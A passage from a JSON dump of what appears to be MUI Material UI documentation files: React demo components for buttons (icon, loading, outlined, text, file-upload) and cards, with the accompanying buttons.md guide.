    "content": "import Stack from '@mui/material/Stack';\nimport IconButton from '@mui/material/IconButton';\nimport DeleteIcon from '@mui/icons-material/Delete';\n\nexport default function IconButtonSizes() {\n  return (\n    <Stack direction=\"row\" spacing={1} sx={{ alignItems: 'center' }}>\n      <IconButton aria-label=\"delete\" size=\"small\">\n        <DeleteIcon fontSize=\"inherit\" />\n      </IconButton>\n      <IconButton aria-label=\"delete\" size=\"small\">\n        <DeleteIcon fontSize=\"small\" />\n      </IconButton>\n      <IconButton aria-label=\"delete\" size=\"large\">\n        <DeleteIcon />\n      </IconButton>\n      <IconButton aria-label=\"delete\" size=\"large\">\n        <DeleteIcon fontSize=\"inherit\" />\n      </IconButton>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/buttons/IconButtonSizes.tsx.preview",
    "content": "<IconButton aria-label=\"delete\" size=\"small\">\n  <DeleteIcon fontSize=\"inherit\" />\n</IconButton>\n<IconButton aria-label=\"delete\" size=\"small\">\n  <DeleteIcon fontSize=\"small\" />\n</IconButton>\n<IconButton aria-label=\"delete\" size=\"large\">\n  <DeleteIcon />\n</IconButton>\n<IconButton aria-label=\"delete\" size=\"large\">\n  <DeleteIcon fontSize=\"inherit\" />\n</IconButton>"
  },
  {
    "path": "docs/data/material/components/buttons/IconButtonWithBadge.js",
    "content": "import { styled } from '@mui/material/styles';\nimport IconButton from '@mui/material/IconButton';\nimport Badge, { badgeClasses } from '@mui/material/Badge';\nimport ShoppingCartIcon from '@mui/icons-material/ShoppingCartOutlined';\n\nconst CartBadge = styled(Badge)`\n  & .${badgeClasses.badge} {\n    top: -12px;\n    right: -6px;\n  }\n`;\n\nexport default function IconButtonWithBadge() {\n  return (\n    <IconButton>\n      <ShoppingCartIcon fontSize=\"small\" />\n      <CartBadge badgeContent={2} color=\"primary\" overlap=\"circular\" />\n    </IconButton>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/buttons/IconButtonWithBadge.tsx",
    "content": "import { styled } from '@mui/material/styles';\nimport IconButton from '@mui/material/IconButton';\nimport Badge, { badgeClasses } from '@mui/material/Badge';\nimport ShoppingCartIcon from '@mui/icons-material/ShoppingCartOutlined';\n\nconst CartBadge = styled(Badge)`\n  & .${badgeClasses.badge} {\n    top: -12px;\n    right: -6px;\n  }\n`;\n\nexport default function IconButtonWithBadge() {\n  return (\n    <IconButton>\n      <ShoppingCartIcon fontSize=\"small\" />\n      <CartBadge badgeContent={2} color=\"primary\" overlap=\"circular\" />\n    </IconButton>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/buttons/IconButtonWithBadge.tsx.preview",
    "content": "<IconButton>\n  <ShoppingCartIcon fontSize=\"small\" />\n  <CartBadge badgeContent={2} color=\"primary\" overlap=\"circular\" />\n</IconButton>"
  },
  {
    "path": "docs/data/material/components/buttons/IconButtons.js",
    "content": "import IconButton from '@mui/material/IconButton';\nimport Stack from '@mui/material/Stack';\nimport DeleteIcon from '@mui/icons-material/Delete';\nimport AlarmIcon from '@mui/icons-material/Alarm';\nimport AddShoppingCartIcon from '@mui/icons-material/AddShoppingCart';\n\nexport default function IconButtons() {\n  return (\n    <Stack direction=\"row\" spacing={1}>\n      <IconButton aria-label=\"delete\">\n        <DeleteIcon />\n      </IconButton>\n      <IconButton aria-label=\"delete\" disabled color=\"primary\">\n        <DeleteIcon />\n      </IconButton>\n      <IconButton color=\"secondary\" aria-label=\"add an alarm\">\n        <AlarmIcon />\n      </IconButton>\n      <IconButton color=\"primary\" aria-label=\"add to shopping cart\">\n        <AddShoppingCartIcon />\n      </IconButton>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/buttons/IconButtons.tsx",
    "content": "import IconButton from '@mui/material/IconButton';\nimport Stack from '@mui/material/Stack';\nimport DeleteIcon from '@mui/icons-material/Delete';\nimport AlarmIcon from '@mui/icons-material/Alarm';\nimport AddShoppingCartIcon from '@mui/icons-material/AddShoppingCart';\n\nexport default function IconButtons() {\n  return (\n    <Stack direction=\"row\" spacing={1}>\n      <IconButton aria-label=\"delete\">\n        <DeleteIcon />\n      </IconButton>\n      <IconButton aria-label=\"delete\" disabled color=\"primary\">\n        <DeleteIcon />\n      </IconButton>\n      <IconButton color=\"secondary\" aria-label=\"add an alarm\">\n        <AlarmIcon />\n      </IconButton>\n      <IconButton color=\"primary\" aria-label=\"add to shopping cart\">\n        <AddShoppingCartIcon />\n      </IconButton>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/buttons/IconButtons.tsx.preview",
    "content": "<IconButton aria-label=\"delete\">\n  <DeleteIcon />\n</IconButton>\n<IconButton aria-label=\"delete\" disabled color=\"primary\">\n  <DeleteIcon />\n</IconButton>\n<IconButton color=\"secondary\" aria-label=\"add an alarm\">\n  <AlarmIcon />\n</IconButton>\n<IconButton color=\"primary\" aria-label=\"add to shopping cart\">\n  <AddShoppingCartIcon />\n</IconButton>"
  },
  {
    "path": "docs/data/material/components/buttons/IconLabelButtons.js",
    "content": "import Button from '@mui/material/Button';\nimport DeleteIcon from '@mui/icons-material/Delete';\nimport SendIcon from '@mui/icons-material/Send';\nimport Stack from '@mui/material/Stack';\n\nexport default function IconLabelButtons() {\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <Button variant=\"outlined\" startIcon={<DeleteIcon />}>\n        Delete\n      </Button>\n      <Button variant=\"contained\" endIcon={<SendIcon />}>\n        Send\n      </Button>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/buttons/IconLabelButtons.tsx",
    "content": "import Button from '@mui/material/Button';\nimport DeleteIcon from '@mui/icons-material/Delete';\nimport SendIcon from '@mui/icons-material/Send';\nimport Stack from '@mui/material/Stack';\n\nexport default function IconLabelButtons() {\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <Button variant=\"outlined\" startIcon={<DeleteIcon />}>\n        Delete\n      </Button>\n      <Button variant=\"contained\" endIcon={<SendIcon />}>\n        Send\n      </Button>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/buttons/IconLabelButtons.tsx.preview",
    "content": "<Button variant=\"outlined\" startIcon={<DeleteIcon />}>\n  Delete\n</Button>\n<Button variant=\"contained\" endIcon={<SendIcon />}>\n  Send\n</Button>"
  },
  {
    "path": "docs/data/material/components/buttons/InputFileUpload.js",
    "content": "import { styled } from '@mui/material/styles';\nimport Button from '@mui/material/Button';\nimport CloudUploadIcon from '@mui/icons-material/CloudUpload';\n\nconst VisuallyHiddenInput = styled('input')({\n  clip: 'rect(0 0 0 0)',\n  clipPath: 'inset(50%)',\n  height: 1,\n  overflow: 'hidden',\n  position: 'absolute',\n  bottom: 0,\n  left: 0,\n  whiteSpace: 'nowrap',\n  width: 1,\n});\n\nexport default function InputFileUpload() {\n  return (\n    <Button\n      component=\"label\"\n      role={undefined}\n      variant=\"contained\"\n      tabIndex={-1}\n      startIcon={<CloudUploadIcon />}\n    >\n      Upload files\n      <VisuallyHiddenInput\n        type=\"file\"\n        onChange={(event) => console.log(event.target.files)}\n        multiple\n      />\n    </Button>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/buttons/InputFileUpload.tsx",
    "content": "import { styled } from '@mui/material/styles';\nimport Button from '@mui/material/Button';\nimport CloudUploadIcon from '@mui/icons-material/CloudUpload';\n\nconst VisuallyHiddenInput = styled('input')({\n  clip: 'rect(0 0 0 0)',\n  clipPath: 'inset(50%)',\n  height: 1,\n  overflow: 'hidden',\n  position: 'absolute',\n  bottom: 0,\n  left: 0,\n  whiteSpace: 'nowrap',\n  width: 1,\n});\n\nexport default function InputFileUpload() {\n  return (\n    <Button\n      component=\"label\"\n      role={undefined}\n      variant=\"contained\"\n      tabIndex={-1}\n      startIcon={<CloudUploadIcon />}\n    >\n      Upload files\n      <VisuallyHiddenInput\n        type=\"file\"\n        onChange={(event) => console.log(event.target.files)}\n        multiple\n      />\n    </Button>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/buttons/InputFileUpload.tsx.preview",
    "content": "<Button\n  component=\"label\"\n  role={undefined}\n  variant=\"contained\"\n  tabIndex={-1}\n  startIcon={<CloudUploadIcon />}\n>\n  Upload files\n  <VisuallyHiddenInput\n    type=\"file\"\n    onChange={(event) => console.log(event.target.files)}\n    multiple\n  />\n</Button>"
  },
  {
    "path": "docs/data/material/components/buttons/LoadingButtons.js",
    "content": "import Button from '@mui/material/Button';\nimport SaveIcon from '@mui/icons-material/Save';\nimport Stack from '@mui/material/Stack';\n\nexport default function LoadingButtons() {\n  return (\n    <Stack spacing={2}>\n      <Stack direction=\"row\" spacing={2}>\n        <Button loading variant=\"outlined\">\n          Submit\n        </Button>\n        <Button loading loadingIndicator=\"Loading…\" variant=\"outlined\">\n          Fetch data\n        </Button>\n        <Button\n          loading\n          loadingPosition=\"start\"\n          startIcon={<SaveIcon />}\n          variant=\"outlined\"\n        >\n          Save\n        </Button>\n      </Stack>\n      <Button\n        fullWidth\n        loading\n        loadingPosition=\"start\"\n        startIcon={<SaveIcon />}\n        variant=\"outlined\"\n      >\n        Full width\n      </Button>\n      <Button\n        fullWidth\n        loading\n        loadingPosition=\"end\"\n        endIcon={<SaveIcon />}\n        variant=\"outlined\"\n      >\n        Full width\n      </Button>\n      <Stack direction=\"row\" spacing={2}>\n        <Button loading variant=\"outlined\" loadingPosition=\"start\">\n          Submit\n        </Button>\n        <Button loading variant=\"outlined\" loadingPosition=\"end\">\n          Submit\n        </Button>\n        <Button\n          loading\n          variant=\"outlined\"\n          loadingPosition=\"end\"\n          startIcon={<SaveIcon />}\n        >\n          Save\n        </Button>\n      </Stack>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/buttons/LoadingButtons.tsx",
    "content": "import Button from '@mui/material/Button';\nimport SaveIcon from '@mui/icons-material/Save';\nimport Stack from '@mui/material/Stack';\n\nexport default function LoadingButtons() {\n  return (\n    <Stack spacing={2}>\n      <Stack direction=\"row\" spacing={2}>\n        <Button loading variant=\"outlined\">\n          Submit\n        </Button>\n        <Button loading loadingIndicator=\"Loading…\" variant=\"outlined\">\n          Fetch data\n        </Button>\n        <Button\n          loading\n          loadingPosition=\"start\"\n          startIcon={<SaveIcon />}\n          variant=\"outlined\"\n        >\n          Save\n        </Button>\n      </Stack>\n      <Button\n        fullWidth\n        loading\n        loadingPosition=\"start\"\n        startIcon={<SaveIcon />}\n        variant=\"outlined\"\n      >\n        Full width\n      </Button>\n      <Button\n        fullWidth\n        loading\n        loadingPosition=\"end\"\n        endIcon={<SaveIcon />}\n        variant=\"outlined\"\n      >\n        Full width\n      </Button>\n      <Stack direction=\"row\" spacing={2}>\n        <Button loading variant=\"outlined\" loadingPosition=\"start\">\n          Submit\n        </Button>\n        <Button loading variant=\"outlined\" loadingPosition=\"end\">\n          Submit\n        </Button>\n        <Button\n          loading\n          variant=\"outlined\"\n          loadingPosition=\"end\"\n          startIcon={<SaveIcon />}\n        >\n          Save\n        </Button>\n      </Stack>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/buttons/LoadingButtonsTransition.js",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Box from '@mui/material/Box';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport Switch from '@mui/material/Switch';\nimport SaveIcon from '@mui/icons-material/Save';\nimport SendIcon from '@mui/icons-material/Send';\n\nexport default function LoadingButtonsTransition() {\n  const [loading, setLoading] = React.useState(true);\n  function handleClick() {\n    setLoading(true);\n  }\n\n  return (\n    <div>\n      <FormControlLabel\n        sx={{ display: 'block' }}\n        control={\n          <Switch\n            checked={loading}\n            onChange={() => setLoading(!loading)}\n            name=\"loading\"\n            color=\"primary\"\n          />\n        }\n        label=\"Loading\"\n      />\n      <Box sx={{ '& > button': { m: 1 } }}>\n        <Button\n          size=\"small\"\n          onClick={handleClick}\n          loading={loading}\n          variant=\"outlined\"\n          disabled\n        >\n          Disabled\n        </Button>\n        <Button\n          size=\"small\"\n          onClick={handleClick}\n          loading={loading}\n          loadingIndicator=\"Loading…\"\n          variant=\"outlined\"\n        >\n          Fetch data\n        </Button>\n        <Button\n          size=\"small\"\n          onClick={handleClick}\n          endIcon={<SendIcon />}\n          loading={loading}\n          loadingPosition=\"end\"\n          variant=\"contained\"\n        >\n          Send\n        </Button>\n        <Button\n          size=\"small\"\n          color=\"secondary\"\n          onClick={handleClick}\n          loading={loading}\n          loadingPosition=\"start\"\n          startIcon={<SaveIcon />}\n          variant=\"contained\"\n        >\n          Save\n        </Button>\n      </Box>\n      <Box sx={{ '& > button': { m: 1 } }}>\n        <Button onClick={handleClick} loading={loading} variant=\"outlined\" disabled>\n          Disabled\n        </Button>\n        <Button\n          onClick={handleClick}\n          loading={loading}\n          loadingIndicator=\"Loading…\"\n          variant=\"outlined\"\n        >\n          Fetch data\n        </Button>\n        <Button\n          onClick={handleClick}\n          endIcon={<SendIcon />}\n          loading={loading}\n          loadingPosition=\"end\"\n          variant=\"contained\"\n        >\n          Send\n        </Button>\n        <Button\n          color=\"secondary\"\n          onClick={handleClick}\n          loading={loading}\n          loadingPosition=\"start\"\n          startIcon={<SaveIcon />}\n          variant=\"contained\"\n        >\n          Save\n        </Button>\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/buttons/LoadingButtonsTransition.tsx",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Box from '@mui/material/Box';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport Switch from '@mui/material/Switch';\nimport SaveIcon from '@mui/icons-material/Save';\nimport SendIcon from '@mui/icons-material/Send';\n\nexport default function LoadingButtonsTransition() {\n  const [loading, setLoading] = React.useState(true);\n  function handleClick() {\n    setLoading(true);\n  }\n\n  return (\n    <div>\n      <FormControlLabel\n        sx={{ display: 'block' }}\n        control={\n          <Switch\n            checked={loading}\n            onChange={() => setLoading(!loading)}\n            name=\"loading\"\n            color=\"primary\"\n          />\n        }\n        label=\"Loading\"\n      />\n      <Box sx={{ '& > button': { m: 1 } }}>\n        <Button\n          size=\"small\"\n          onClick={handleClick}\n          loading={loading}\n          variant=\"outlined\"\n          disabled\n        >\n          Disabled\n        </Button>\n        <Button\n          size=\"small\"\n          onClick={handleClick}\n          loading={loading}\n          loadingIndicator=\"Loading…\"\n          variant=\"outlined\"\n        >\n          Fetch data\n        </Button>\n        <Button\n          size=\"small\"\n          onClick={handleClick}\n          endIcon={<SendIcon />}\n          loading={loading}\n          loadingPosition=\"end\"\n          variant=\"contained\"\n        >\n          Send\n        </Button>\n        <Button\n          size=\"small\"\n          color=\"secondary\"\n          onClick={handleClick}\n          loading={loading}\n          loadingPosition=\"start\"\n          startIcon={<SaveIcon />}\n          variant=\"contained\"\n        >\n          Save\n        </Button>\n      </Box>\n      <Box sx={{ '& > button': { m: 1 } }}>\n        <Button onClick={handleClick} loading={loading} variant=\"outlined\" disabled>\n          Disabled\n        </Button>\n        <Button\n          onClick={handleClick}\n          loading={loading}\n          loadingIndicator=\"Loading…\"\n          variant=\"outlined\"\n        >\n          Fetch data\n        </Button>\n        <Button\n          onClick={handleClick}\n          endIcon={<SendIcon />}\n          loading={loading}\n          loadingPosition=\"end\"\n          variant=\"contained\"\n        >\n          Send\n        </Button>\n        <Button\n          color=\"secondary\"\n          onClick={handleClick}\n          loading={loading}\n          loadingPosition=\"start\"\n          startIcon={<SaveIcon />}\n          variant=\"contained\"\n        >\n          Save\n        </Button>\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/buttons/LoadingIconButton.js",
    "content": "import * as React from 'react';\nimport Tooltip from '@mui/material/Tooltip';\nimport IconButton from '@mui/material/IconButton';\nimport ShoppingCartIcon from '@mui/icons-material/ShoppingCart';\n\nexport default function LoadingIconButton() {\n  const [loading, setLoading] = React.useState(false);\n  React.useEffect(() => {\n    const timeout = setTimeout(() => {\n      setLoading(false);\n    }, 2000);\n    return () => clearTimeout(timeout);\n  });\n  return (\n    <Tooltip title=\"Click to see loading\">\n      <IconButton onClick={() => setLoading(true)} loading={loading}>\n        <ShoppingCartIcon />\n      </IconButton>\n    </Tooltip>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/buttons/LoadingIconButton.tsx",
    "content": "import * as React from 'react';\nimport Tooltip from '@mui/material/Tooltip';\nimport IconButton from '@mui/material/IconButton';\nimport ShoppingCartIcon from '@mui/icons-material/ShoppingCart';\n\nexport default function LoadingIconButton() {\n  const [loading, setLoading] = React.useState(false);\n  React.useEffect(() => {\n    const timeout = setTimeout(() => {\n      setLoading(false);\n    }, 2000);\n    return () => clearTimeout(timeout);\n  });\n  return (\n    <Tooltip title=\"Click to see loading\">\n      <IconButton onClick={() => setLoading(true)} loading={loading}>\n        <ShoppingCartIcon />\n      </IconButton>\n    </Tooltip>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/buttons/LoadingIconButton.tsx.preview",
    "content": "<Tooltip title=\"Click to see loading\">\n  <IconButton onClick={() => setLoading(true)} loading={loading}>\n    <ShoppingCartIcon />\n  </IconButton>\n</Tooltip>"
  },
  {
    "path": "docs/data/material/components/buttons/OutlinedButtons.js",
    "content": "import Button from '@mui/material/Button';\nimport Stack from '@mui/material/Stack';\n\nexport default function OutlinedButtons() {\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <Button variant=\"outlined\">Primary</Button>\n      <Button variant=\"outlined\" disabled>\n        Disabled\n      </Button>\n      <Button variant=\"outlined\" href=\"#outlined-buttons\">\n        Link\n      </Button>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/buttons/OutlinedButtons.tsx",
    "content": "import Button from '@mui/material/Button';\nimport Stack from '@mui/material/Stack';\n\nexport default function OutlinedButtons() {\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <Button variant=\"outlined\">Primary</Button>\n      <Button variant=\"outlined\" disabled>\n        Disabled\n      </Button>\n      <Button variant=\"outlined\" href=\"#outlined-buttons\">\n        Link\n      </Button>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/buttons/OutlinedButtons.tsx.preview",
    "content": "<Button variant=\"outlined\">Primary</Button>\n<Button variant=\"outlined\" disabled>\n  Disabled\n</Button>\n<Button variant=\"outlined\" href=\"#outlined-buttons\">\n  Link\n</Button>"
  },
  {
    "path": "docs/data/material/components/buttons/TextButtons.js",
    "content": "import Button from '@mui/material/Button';\nimport Stack from '@mui/material/Stack';\n\nexport default function TextButtons() {\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <Button>Primary</Button>\n      <Button disabled>Disabled</Button>\n      <Button href=\"#text-buttons\">Link</Button>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/buttons/TextButtons.tsx",
    "content": "import Button from '@mui/material/Button';\nimport Stack from '@mui/material/Stack';\n\nexport default function TextButtons() {\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <Button>Primary</Button>\n      <Button disabled>Disabled</Button>\n      <Button href=\"#text-buttons\">Link</Button>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/buttons/TextButtons.tsx.preview",
    "content": "<Button>Primary</Button>\n<Button disabled>Disabled</Button>\n<Button href=\"#text-buttons\">Link</Button>"
  },
  {
    "path": "docs/data/material/components/buttons/buttons.md",
    "content": "---\nproductId: material-ui\ntitle: React Button component\ncomponents: Button, IconButton, ButtonBase\nmaterialDesign: https://m2.material.io/components/buttons\ngithubLabel: 'scope: button'\nwaiAria: https://www.w3.org/WAI/ARIA/apg/patterns/button/\ngithubSource: packages/mui-material/src/Button\n---\n\n# Button\n\n<p class=\"description\">Buttons allow users to take actions, and make choices, with a single tap.</p>\n\nButtons communicate actions that users can take. They are typically placed throughout your UI, in places like:\n\n- Modal windows\n- Forms\n- Cards\n- Toolbars\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Basic button\n\nThe `Button` comes with three variants: text (default), contained, and outlined.\n\n{{\"demo\": \"BasicButtons.js\"}}\n\n### Text button\n\n[Text buttons](https://m2.material.io/components/buttons#text-button)\nare typically used for less-pronounced actions, including those located: in dialogs, in cards.\nIn cards, text buttons help maintain an emphasis on card content.\n\n{{\"demo\": \"TextButtons.js\"}}\n\n### Contained button\n\n[Contained buttons](https://m2.material.io/components/buttons#contained-button)\nare high-emphasis, distinguished by their use of elevation and fill.\nThey contain actions that are primary to your app.\n\n{{\"demo\": \"ContainedButtons.js\"}}\n\nYou can remove the elevation with the `disableElevation` prop.\n\n{{\"demo\": \"DisableElevation.js\"}}\n\n### Outlined button\n\n[Outlined buttons](https://m2.material.io/components/buttons#outlined-button) are medium-emphasis buttons.\nThey contain actions that are important but aren't the primary action in an app.\n\nOutlined buttons are also a lower emphasis alternative to contained buttons,\nor a higher emphasis alternative to text buttons.\n\n{{\"demo\": \"OutlinedButtons.js\"}}\n\n## Handling clicks\n\nAll components accept an `onClick` handler that is applied to the root DOM element.\n\n```jsx\n<Button\n  onClick={() => {\n    alert('clicked');\n  }}\n>\n  Click me\n</Button>\n```\n\nNote that the documentation [avoids](/material-ui/guides/api/#native-properties) mentioning native props (there are a lot) in the API section of the components.\n\n## Color\n\n{{\"demo\": \"ColorButtons.js\"}}\n\nIn addition to using the default button colors, you can add custom ones, or disable any you don't need. See the [Adding new colors](/material-ui/customization/palette/#custom-colors) examples for more info.\n\n## Sizes\n\nFor larger or smaller buttons, use the `size` prop.\n\n{{\"demo\": \"ButtonSizes.js\"}}\n\n## Buttons with icons and label\n\nSometimes you might want to have icons for certain buttons to enhance the UX of the application as we recognize logos more easily than plain text. For example, if you have a delete button you can label it with a dustbin icon.\n\n{{\"demo\": \"IconLabelButtons.js\"}}\n\n## Icon button\n\nIcon buttons are commonly found in app bars and toolbars.\n\nIcons are also appropriate for toggle buttons that allow a single choice to be selected or\ndeselected, such as adding or removing a star to an item.\n\n{{\"demo\": \"IconButtons.js\"}}\n\n### Sizes\n\nFor larger or smaller icon buttons, use the `size` prop.\n\n{{\"demo\": \"IconButtonSizes.js\"}}\n\n### Colors\n\nUse `color` prop to apply theme color palette to component.\n\n{{\"demo\": \"IconButtonColors.js\"}}\n\n### Loading\n\nStarting from v6.4.0, use `loading` prop to set icon buttons in a loading state and disable interactions.\n\n{{\"demo\": \"LoadingIconButton.js\"}}\n\n### Badge\n\nYou can use the [`Badge`](/material-ui/react-badge/) component to add a badge to an `IconButton`.\n\n{{\"demo\": \"IconButtonWithBadge.js\"}}\n\n## File upload\n\nTo create a file upload button, turn the button into a label using `component=\"label\"` and then create a visually-hidden input with type `file`.\n\n{{\"demo\": \"InputFileUpload.js\"}}\n\n## Loading\n\nStarting from v6.4.0, use the `loading` prop to set buttons in a loading state and disable interactions.\n\n{{\"demo\": \"LoadingButtons.js\"}}\n\nToggle the loading switch to see the transition between the different states.\n\n{{\"demo\": \"LoadingButtonsTransition.js\"}}\n\n:::warning\nWhen the `loading` prop is set to `boolean`, the loading wrapper is always present in the DOM to prevent a [Google Translation Crash](https://github.com/mui/material-ui/issues/27853).\n\nThe `loading` value should always be `null` or `boolean`. The pattern below is not recommended as it can cause the Google Translation crash:\n\n```jsx\n<Button {...(isFetching && { loading: true })}> // ❌ Don't do this\n```\n\n:::\n\n## Rendering non-native buttons\n\nThe `nativeButton` prop can be used to allow buttons to remain keyboard accessible when passing a React component to the [`component`](/material-ui/guides/composition/#passing-other-react-components) prop that renders a non-interactive element like a `<div>`.\n\n```jsx\nconst CustomButton = React.forwardRef(function CustomButton(props, ref) {\n  return <div ref={ref} {...props} />;\n})\n\n<Button component={CustomButton} nativeButton={false}>\n  OK\n</Button>\n```\n\n## Customization\n\nHere are some examples of customizing the component.\nYou can learn more about this in the [overrides documentation page](/material-ui/customization/how-to-customize/).\n\n{{\"demo\": \"CustomizedButtons.js\", \"defaultCodeOpen\": false}}\n\n🎨 If you are looking for inspiration, you can check [MUI Treasury's customization examples](https://mui-treasury.com/?path=/docs/button-introduction--docs).\n\n## Complex button\n\nThe Text Buttons, Contained Buttons, Floating Action Buttons and Icon Buttons are built on top of the same component: the `ButtonBase`.\nYou can take advantage of this lower-level component to build custom interactions.\n\n{{\"demo\": \"ButtonBaseDemo.js\"}}\n\n## Third-party routing library\n\nOne frequent use case is to perform navigation on the client only, without an HTTP round-trip to the server.\nThe `ButtonBase` component provides the `component` prop to handle this use case.\nHere is a [more detailed guide](/material-ui/integrations/routing/#button).\n\n## Limitations\n\n### Cursor not-allowed\n\nThe ButtonBase component sets `pointer-events: none;` on disabled buttons, which prevents the appearance of a disabled cursor.\n\nIf you wish to use `not-allowed`, you have two options:\n\n1. **CSS only**. You can remove the pointer-events style on the disabled state of the `<button>` element:\n\n```css\n.MuiButtonBase-root:disabled {\n  cursor: not-allowed;\n  pointer-events: auto;\n}\n```\n\nHowever:\n\n- You should add `pointer-events: none;` back when you need to display [tooltips on disabled elements](/material-ui/react-tooltip/#disabled-elements).\n- The cursor won't change if you render something other than a button element, for instance, a link `<a>` element.\n\n2. **DOM change**. You can wrap the button:\n\n```jsx\n<span style={{ cursor: 'not-allowed' }}>\n  <Button component={Link} disabled>\n    disabled\n  </Button>\n</span>\n```\n\nThis has the advantage of supporting any element, for instance, a link `<a>` element.\n"
  },
  {
    "path": "docs/data/material/components/cards/ActionAreaCard.js",
    "content": "import Card from '@mui/material/Card';\nimport CardContent from '@mui/material/CardContent';\nimport CardMedia from '@mui/material/CardMedia';\nimport Typography from '@mui/material/Typography';\nimport CardActionArea from '@mui/material/CardActionArea';\n\nexport default function ActionAreaCard() {\n  return (\n    <Card sx={{ maxWidth: 345 }}>\n      <CardActionArea>\n        <CardMedia\n          component=\"img\"\n          height=\"140\"\n          image=\"/static/images/cards/contemplative-reptile.jpg\"\n          alt=\"green iguana\"\n        />\n        <CardContent>\n          <Typography gutterBottom variant=\"h5\" component=\"div\">\n            Lizard\n          </Typography>\n          <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n            Lizards are a widespread group of squamate reptiles, with over 6,000\n            species, ranging across all continents except Antarctica\n          </Typography>\n        </CardContent>\n      </CardActionArea>\n    </Card>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/cards/ActionAreaCard.tsx",
    "content": "import Card from '@mui/material/Card';\nimport CardContent from '@mui/material/CardContent';\nimport CardMedia from '@mui/material/CardMedia';\nimport Typography from '@mui/material/Typography';\nimport CardActionArea from '@mui/material/CardActionArea';\n\nexport default function ActionAreaCard() {\n  return (\n    <Card sx={{ maxWidth: 345 }}>\n      <CardActionArea>\n        <CardMedia\n          component=\"img\"\n          height=\"140\"\n          image=\"/static/images/cards/contemplative-reptile.jpg\"\n          alt=\"green iguana\"\n        />\n        <CardContent>\n          <Typography gutterBottom variant=\"h5\" component=\"div\">\n            Lizard\n          </Typography>\n          <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n            Lizards are a widespread group of squamate reptiles, with over 6,000\n            species, ranging across all continents except Antarctica\n          </Typography>\n        </CardContent>\n      </CardActionArea>\n    </Card>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/cards/BasicCard.js",
    "content": "import Box from '@mui/material/Box';\nimport Card from '@mui/material/Card';\nimport CardActions from '@mui/material/CardActions';\nimport CardContent from '@mui/material/CardContent';\nimport Button from '@mui/material/Button';\nimport Typography from '@mui/material/Typography';\n\nconst bull = (\n  <Box\n    component=\"span\"\n    sx={{ display: 'inline-block', mx: '2px', transform: 'scale(0.8)' }}\n  >\n    •\n  </Box>\n);\n\nexport default function BasicCard() {\n  return (\n    <Card sx={{ minWidth: 275 }}>\n      <CardContent>\n        <Typography gutterBottom sx={{ color: 'text.secondary', fontSize: 14 }}>\n          Word of the Day\n        </Typography>\n        <Typography variant=\"h5\" component=\"div\">\n          be{bull}nev{bull}o{bull}lent\n        </Typography>\n        <Typography sx={{ color: 'text.secondary', mb: 1.5 }}>adjective</Typography>\n        <Typography variant=\"body2\">\n          well meaning and kindly.\n          <br />\n          {'\"a benevolent smile\"'}\n        </Typography>\n      </CardContent>\n      <CardActions>\n        <Button size=\"small\">Learn More</Button>\n      </CardActions>\n    </Card>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/cards/BasicCard.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Card from '@mui/material/Card';\nimport CardActions from '@mui/material/CardActions';\nimport CardContent from '@mui/material/CardContent';\nimport Button from '@mui/material/Button';\nimport Typography from '@mui/material/Typography';\n\nconst bull = (\n  <Box\n    component=\"span\"\n    sx={{ display: 'inline-block', mx: '2px', transform: 'scale(0.8)' }}\n  >\n    •\n  </Box>\n);\n\nexport default function BasicCard() {\n  return (\n    <Card sx={{ minWidth: 275 }}>\n      <CardContent>\n        <Typography gutterBottom sx={{ color: 'text.secondary', fontSize: 14 }}>\n          Word of the Day\n        </Typography>\n        <Typography variant=\"h5\" component=\"div\">\n          be{bull}nev{bull}o{bull}lent\n        </Typography>\n        <Typography sx={{ color: 'text.secondary', mb: 1.5 }}>adjective</Typography>\n        <Typography variant=\"body2\">\n          well meaning and kindly.\n          <br />\n          {'\"a benevolent smile\"'}\n        </Typography>\n      </CardContent>\n      <CardActions>\n        <Button size=\"small\">Learn More</Button>\n      </CardActions>\n    </Card>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/cards/ImgMediaCard.js",
